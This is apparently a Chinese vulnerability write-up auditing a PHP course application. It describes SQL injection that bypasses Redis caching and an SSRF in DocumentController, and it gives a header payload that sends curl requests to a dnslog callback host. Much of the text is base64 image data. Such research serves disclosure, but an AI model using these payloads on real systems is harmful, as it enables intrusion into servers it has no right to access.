CqKWnu249Re6yM0KmPEZ40GOOQO+k/Oghzzh4/3T+b2pxKQqc9TnhSGoaURaTe+RHJI0w+5j9G9bFSTNOeIjxlMIaBv6T/zHlonC0jKm/yH6c+v64tfeSDxHT41sM3+QqyjtAwcBwTgjuJd47bf3vUg8czzJBD1pFTXaAQMcy6/wWevWc6ocrH/QrnMX7aFVnC9h++ZfGUu/gvNUjS/SQ07GHNlizc7Uccrr1s3T+Uq0fczVKtCqhkx4aX2Fzbn0tmLGWMvuXaFH5x1RSEMJO5+QU2VDjYl/kZ8ROu4OrpM9EKG+bqTNYdzOq4OF77PZuPpTJ78t2MVcs4895n+a7DYNnF2h0mZo+cz42DA3BY8jmw4xMyGgGp6fuhnsqXEOQd+JDNY+cz7eK70Aszhcc/Yn1ew7n7rVi7jkmSGihf9TSB193NgLvvReVpwF64juMbNjWvtXgwf/UA+dc+Tv/b3kftKqVu98PkZlT5pX6S5MH85e8oWPQHku6Yj8p1kvq9T5CzJR98+BxCkjzUr/9v8q55nMSbP0BNOQ37nuL4tqb8ktSz/JLkoPrLJyi94TGS/2sunoL3KT3eSGC78n2Rz3NwLV/mP8ui/5pF3usbKHa2rL2d4/bfUs/QMdxy88XYvlnOjoYuVK9PZ/jweMTabOUbN4XzGsluaxQD04b7pTAhG0gYfgfTnf/kw8OVftvYoeA7QkiE/WI7yfb7yVy56+zcM/n3jPn1Ek4dH3zHscfvpcrHb93OB4QuhXm/vZ+5MZWs/9szrDnWbkryHLb/8IuW8uANo7HvWMErH2RS18ULhRhxO6/fn8TGR59gTdm5I7uCQm/x7+YRjwWz3Y7dbj6nHuoLHSEHog0LR0UAqn7XkTDMSs17+86eAIXvkPWXlV10lQ2020h6QSDZclnz4gPsGDKFfvZOaeew/burD/DpCx+QWdT9LEN8ajKGvF1sL+WCajOFnx9+HbEp/DSIkNsZ/vjvCBQuXOZsarY+T+53+/2y8UTh54EQWi554E2mHnmYF75UNvwrnN8ojk1BQUFB4YJCiaCtoKCgoHBBoTg2BQUFBYULCsWxKSgoKChcUCiOTUFBQUHhgsKv2/0VFBQUzgRJltHp9KjVauTzeFevRwhcLhc2mxXh6S4Kn0Jf4fcRmyZiIsNN569Bnu8o+u9bFP32Line truncated
<p>所以必须要把这跟<code>phone</code>​随机化来绕<code>redis</code>​的缓存才能进行正常注入</p>
<h2 id=toc-5>SSRF</h2>
<p>这里全局搜索<code>curl_exec(</code>​ emm感觉是这里 确实是可控的</p>
<p>\Application\Course\Controller\DocumentController.class.php</p>
<p><a id=img12 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191339-18168472-d498-1.png title><img src=data:image/png;base64,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 truncated
<p>从逻辑上来看</p>
<p><code>$_SERVER['HTTP_AUTHORIZATION']</code>​ 跟 <code>$_SERVER['HTTP_X_OSS_PUB_KEY_URL']</code>​ 这两个值都得存在 他就不会进行403的跳转 那么这两个都是我们可控的只要在header头加入即可,之后就会将我们传入的base64编码的值进行解码后给到curl进行直接curl执行</p>
<div class=highlight><pre><span></span>Authorization: Basic Aladdin:OpenSesame
X-Oss-Pub-Key-Url: http://dq3be0.dnslog.cn
</pre></div>
<p>远程测了一下也是完全没问题的</p>
<p><a id=img13 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191358-231f2e28-d498-1.png title><img src="data:image/png;base64,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 truncated
<p>加入后返回两百</p>
<p><a id=img14 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191406-280d9348-d498-1.png title><img src="data:image/png;base64,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